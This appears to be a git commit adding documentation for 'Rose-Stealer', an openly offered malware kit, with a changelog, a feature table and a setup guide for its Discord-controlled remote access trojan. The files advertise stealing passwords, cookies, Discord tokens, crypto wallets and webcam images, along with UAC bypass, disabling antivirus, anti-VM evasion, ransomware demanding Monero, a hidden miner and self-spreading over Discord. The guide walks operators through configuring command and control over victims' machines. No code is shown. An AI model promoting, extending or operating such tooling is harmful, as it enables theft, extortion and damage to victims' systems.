Initial commit
This commit is contained in:
80
Rose-Stealerv1/docs/CHANGELOG.md
Normal file
80
Rose-Stealerv1/docs/CHANGELOG.md
Normal file
@@ -0,0 +1,80 @@
|
||||
- **2.3 (2023-12-19)**
|
||||
- Added more browser paths
|
||||
- Added more roblox browser methods
|
||||
- Added base code for methods
|
||||
- Added XMR Miner
|
||||
- Added Knight-RAT documentation
|
||||
- Added wd exclusion cmd
|
||||
- Added obfuscation
|
||||
- Fixed UAC bypass
|
||||
- Fixed Knight-RAT commands
|
||||
- Fixed builder
|
||||
- Fixed Ransomware
|
||||
- Knight RAT refactor
|
||||
- Restructured logging system
|
||||
- Restructured documentation and readme
|
||||
- Rewrote startup script
|
||||
(Update by gumbobr0t)
|
||||
|
||||
- **2.2 (2023-10-20)**
|
||||
- Added bsod on run
|
||||
- Added batch fork bomb
|
||||
- Added block sites [unblocker](https://github.com/rose-dll/Rose-Stealer/tree/main/resources/utils)
|
||||
- Added block protectors (e.g. anti-viruses, firewalls etc.)
|
||||
- Fixed UAC bypass
|
||||
- Fixed system information
|
||||
- Reordered folder structure
|
||||
(Fixed by gumbobr0t)
|
||||
|
||||
- **2.1 (2023-10-18)**
|
||||
- Fixed system information hanging and restarting the process over and over. (py-cpuinfo -> wmi package)
|
||||
- Fixed the executable dying because of a shitty import. (__webhook.py --> webhook.py)
|
||||
- Removed unused libraries from some of the files.
|
||||
- Ransomware Key is deleted from memory once it's used up fully.
|
||||
- Better formating of HWID, Power, and Screen information.
|
||||
- Handling of empty lists in the power and WiFi variables for future error prevention.
|
||||
(Hardfix by something-0001)
|
||||
|
||||
- **2.0 (2023-10-02)**
|
||||
- Added hidden path to browser and more
|
||||
- Fixed wifi password stealing
|
||||
- Fixed ransomware
|
||||
- Fixed webcam stealing
|
||||
- Rewrote embeds for discordc class, screenshot and webcam now embedded inside of message
|
||||
- Added Exodus, Telegram, Steam, Minecraft, Uplay and Epic Games session stealing
|
||||
- Fixed install and start script
|
||||
- Fixed antivm not exiting correctly
|
||||
|
||||
- **1.9 (2023-09-12)**
|
||||
- Rewrote ransomware, changed payment to monero
|
||||
- Added ransomware decrypter to [components/tools](https://github.com/rose-dll/Rose-Stealer/tree/main/resources/utils)
|
||||
- Fixed startup
|
||||
- Fixed builder (cleanup, upx, returnzip)
|
||||
- Rewrote/Fixed install and start script
|
||||
|
||||
- **1.8 (2023-09-02)**
|
||||
- Added spread malware on discord feature
|
||||
- Added additional error handling
|
||||
- Added other UPX compression
|
||||
- Added extension spoofer
|
||||
- Fixed builder not showing compile CMD
|
||||
|
||||
- **1.7 (2023-08-14)**
|
||||
- Added ransomware
|
||||
- Fixed return zip file
|
||||
|
||||
- **1.6 (2023-08-14)**
|
||||
- Added Anti-VM
|
||||
- Added UAC bypass
|
||||
- Added better icon selection in builder
|
||||
- Fixed browser stealing
|
||||
|
||||
- **1.5 (2023-08-10)**
|
||||
- Improved obfuscation and file type selection
|
||||
- Added log buttons and file pumper
|
||||
|
||||
- **1.4 (2023-08-09)**
|
||||
- Added custom icon support and file pumper
|
||||
- Fixed Windows Defender detection
|
||||
|
||||
- ...
|
||||
43
Rose-Stealerv1/docs/FEATURES.md
Normal file
43
Rose-Stealerv1/docs/FEATURES.md
Normal file
@@ -0,0 +1,43 @@
|
||||
## Features
|
||||
|
||||
| Feature | Description | Status |
|
||||
|---------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|--------|
|
||||
| GUI Builder | Create user-friendly interfaces easily. | Done |
|
||||
| UAC Bypass | Bypass User Account Control for elevated privileges. | Done |
|
||||
| Custom Icon | Set a unique icon for your application. | Done |
|
||||
| Runs On Startup | Automatically start with Windows. | Done |
|
||||
| Disables Windows Defender | Disable built-in antivirus protection and firewalls. | Done |
|
||||
| Anti-VM | Detect and evade virtual machine environments. | Done |
|
||||
| Blocks AV-Related Sites | Prevent access to antivirus websites. Unblocker can be found here [resources/utils](https://github.com/rose-dll/Rose-Stealer/blob/main/resources/utils/unblocker/unblock_sites.py). | Done |
|
||||
| Melt Stub | Make the malware difficult to detect by self-destructing. | Done |
|
||||
| Fake Error | Display fake error messages to deceive users. | Done |
|
||||
| EXE Binder | Combine multiple files into a single executable. | Later |
|
||||
| File Pumper | Inflate file sizes to hide malicious content. | Done |
|
||||
| Obfuscated Code | Use code obfuscation techniques for evasion. | Done |
|
||||
| Discord Injection | Inject code into Discord processes. | Done |
|
||||
| Steals Discord Tokens | Extract user tokens from Discord. | Done |
|
||||
| Mass DM Discord Friends | DM's every user on the victims discord accounts friendlist. | Done |
|
||||
| Steals Steam Session | Gather active Steam sessions. | Done |
|
||||
| Steals Epic Session | Gather active Epic Games sessions. | Done |
|
||||
| Steals Uplay Session | Gather active Uplay sessions. | Done |
|
||||
| Steals Passwords From Many Browsers | Extract stored passwords. | Done |
|
||||
| Steals Cookies From Many Browsers | Collect browser cookies. | Done |
|
||||
| Steals History From Many Browsers | Access browsing history. | Done |
|
||||
| Steals Autofills From Many Browsers | Extract autofill data. | Later |
|
||||
| Steals Minecraft Session Files | Gather Minecraft session information. | Done |
|
||||
| Steals Telegram Session Files | Extract Telegram session data. | Done |
|
||||
| Steals Crypto Wallets | Target cryptocurrency wallets. | Done |
|
||||
| Steals Roblox Cookies | Gather Roblox-related data. | Done |
|
||||
| Steals IP Information | Collect IP addresses. | Done |
|
||||
| Steals System Info | Gather system-specific details. | Done |
|
||||
| Steals Saved Wifi Passwords | Extract saved Wi-Fi passwords. | Done |
|
||||
| Steals Common Files | Collect files commonly used for attacks. | Later |
|
||||
| Captures Screenshot | Take screenshots of the user's desktop. | Done |
|
||||
| Captures Webcam Image | Access and capture webcam images. | Done |
|
||||
| Sends All Data Through Discord Webhook | Send stolen data to specified destinations. | Done |
|
||||
| File Type Selection | Choose between screensaver or executable. | Done |
|
||||
| Trigger BSOD | Cause a Blue Screen of Death. | Done |
|
||||
| Freeze Screen | Freeze the user's screen. | Later |
|
||||
| Spread Malware | Send malicious messages to friends on social media. | Later |
|
||||
| Crypto Miner | Use the victim's computer for cryptocurrency mining. | Done |
|
||||
| Ransomware | Forces the victim to pay you a specific amount of USD in Monero or they will lose all their data. Decrypter can be found in [resources/utils](https://github.com/DamagingRose/Rose-Grabber/tree/main/resources/utils/rosedec). | Done |
|
||||
26
Rose-Stealerv1/docs/KNIGHT.md
Normal file
26
Rose-Stealerv1/docs/KNIGHT.md
Normal file
@@ -0,0 +1,26 @@
|
||||
# ⚔️ · 🛡️ · ♞ · 🤺 · 🏰 · 🗡️ · ⚜️ · ⚔ · ♘
|
||||
|
||||
# Knight Rat: A Beginner's Guide
|
||||
|
||||
## Introduction
|
||||
Have you ever wondered about Knight Rat and how it operates? Look no further; this guide is here to help you understand the basics of this Python-based remote access trojan.
|
||||
|
||||
## What is Knight Rat?
|
||||
Knight Rat is a powerful remote access trojan designed in Python, allowing users to gain unauthorized access to a computer and execute various commands. The process involves running a file, executing a predefined set of actions, and establishing a connection through a Discord bot to a remote server, providing full control over the targeted computer.
|
||||
|
||||
## How Does it Work?
|
||||
In a nutshell, the victim runs the Knight Rat file, which connects to a Discord bot. The bot then attempts to send a message to the designated channel, using a custom-generated rat UID with the ping. By employing the "!clients" command, you can retrieve all connected IDs. Subsequently, you gain control over the targeted computer, with a comprehensive set of commands accessible through "!help." When you want to execute a specific command on a victim you can do it like this ---> **example**: `!screenshot 871623`
|
||||
|
||||
## Preparing the Bot
|
||||
Before diving into the setup, you must create a bot application on [Discord Developers](https://discord.com/developers/applications). Navigate to the bot tab, enabling all privileged gateway intents. Refer to [this image](https://cdn.discordapp.com/attachments/1180179668498927618/1180981629313880144/image.png?ex=657f65da&is=656cf0da&hm=46c8ba00046c6f165d78b53a7f48480809ab7b3def429cd8dc6fb67256606f44&) for guidance. Once done, invite the bot to your server with administrator permissions, using [this link](https://cdn.discordapp.com/attachments/1180179668498927618/1180982394652737566/image.png?ex=657f6690&is=656cf190&hm=d1ab6a46c1080fffb966aaeda4d09c1ae2942480663fed29369d002098ccb4aa&).
|
||||
|
||||
## Setup
|
||||
When building a stub with Rose and enabling the Knight Rat feature, fill in the required fields. Reset the bot token, [copy the channel ID](https://www.youtube.com/watch?v=YjiQ7CajAgg) for command operations. Choose a command prefix like "!" or ".", or leave it empty. Congratulations, you've successfully set up Knight Rat!
|
||||
|
||||
### Important Note
|
||||
Knight Rat is a basic rat designed for .py usage, created for fun with no intention of further updates or improvements. It comes with limited features and a straightforward interface. Do not expect enhancements or fixes, as the author has no plans for future updates.
|
||||
|
||||
## ⚠️ Final Warning
|
||||
If you find this guide challenging or seek assistance, be warned – any requests for help may result in an immediate ban. The author does not intend to provide support, explanations, or any further assistance.
|
||||
|
||||
**Remember, use this information responsibly and ethically, respecting privacy and legal boundaries.**
|
||||
Reference in New Issue
Block a user